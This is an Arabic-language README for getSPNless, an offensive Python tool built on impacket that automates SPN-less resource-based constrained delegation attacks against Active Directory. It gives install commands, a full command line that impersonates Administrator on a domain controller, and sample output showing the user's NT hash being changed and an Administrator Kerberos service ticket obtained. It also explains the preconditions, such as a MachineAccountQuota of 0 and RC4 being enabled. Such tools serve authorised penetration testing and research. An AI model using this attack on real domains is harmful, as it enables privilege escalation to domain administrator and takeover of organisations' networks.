
أداة بايثون لتنفيذ هجمات RBCD بدون SPN تلقائياً.

أداة بايثون للحصول على تذاكر خدمة Kerberos باستخدام تقنية SPN-less. استنادًا إلى استغلال RBCD باستخدام حساب مستخدم عادي.
تستخدم هذه الأداة مشروع impacket.
هذه الأدوات متوافقة فقط مع Python 3.5+. استنسخ المستودع من GitHub، وقم بتثبيت التبعيات وستكون جاهزًا للعمل:
git clone https://github.com/jarnovandenbrink/getSPNless.git
cd getSPNless
python3 -m pip install .
يوصى باستخدام virtualenv.
python3 getSPNless.py -spn cifs/DC01.pwn.local -dc-ip 192.168.2.64 -impersonate Administrator pwn.local/low:'Somepass1'
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting a TGT
[*] Calculating RC4 value of the provided password
[*] NT Hash: :3ac433014b4d5b1b4bc8a5350153ea93
[*] Saving ticket in low.ccache
[*] Ticket Session Key: 37ff4701394ef659bdd724e5dca5c00f
[*] Changing the password of pwn.local\low
[*] Connecting to DCE/RPC as pwn.local\low
[*] Password was changed successfully.
[!] User might need to change their password at next logon because we set hashes (unless password never expires is set).
[*] Impersonating Administrator
[*] Requesting S4U2self+U2U
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@[email protected]
[*] To revert the password, run: changepasswd.py pwn.local/low:[email protected] -hashes :37ff4701394ef659bdd724e5dca5c00f -newpass Somepass1
بدلاً من ذلك، يمكن استخدام تجزئة NT. لاحظ أنه عند استخدام تجزئة NT، يكون استرداد كلمة المرور ممكنًا فقط إذا تم تعيين علامة "كلمة المرور لا تنتهي صلاحيتها" على حساب المستخدم.
توفر هذه الأداة طريقة لتجاوز شرط حساب الجهاز عند تنفيذ هجمات RBCD. المشكلة الحالية عند تنفيذ RBCD بحساب مستخدم هي أن KDC لا يعرف مفتاح التشفير الذي يجب استخدامه للتذكرة. تتغلب هذه الأداة على هذا القيد عن طريق طلب TGT من Kerberos، واستخراج مفتاح جلسة التذكرة، وتعديل تجزئة NT للمستخدم. باستخدام S4U2Self+U2U و S4U2Proxy، لا يزال من الممكن الحصول على تذكرة خدمة. أنا شخصياً أفضل استخدام حسابات الأجهزة، أو بيانات الاعتماد الظلية مع PKINIT/UnPAC-the-Hash بدلاً من SPN-less RBCD. ومع ذلك، فهذا بديل جيد عندما تكون MachineAccountQuota مضبوطة على 0 ولا يتوفر ADCS أو يكون PKINIT معطلاً. لاحظ أن الهجوم لن يعمل إذا تم تعطيل نوع تشفير RC4 لـ Kerberos. يمكنك التحقق من ذلك عن طريق البحث عن Kerberos type 23 (Etype 23).
تم تطوير هذا المشروع جزئيًا أثناء عملي في Cyber Cloud وجزئيًا في وقت فراغي. شكرًا لـ Cyber Cloud على توفير الوقت لتطوير هذا العمل والبحث فيه.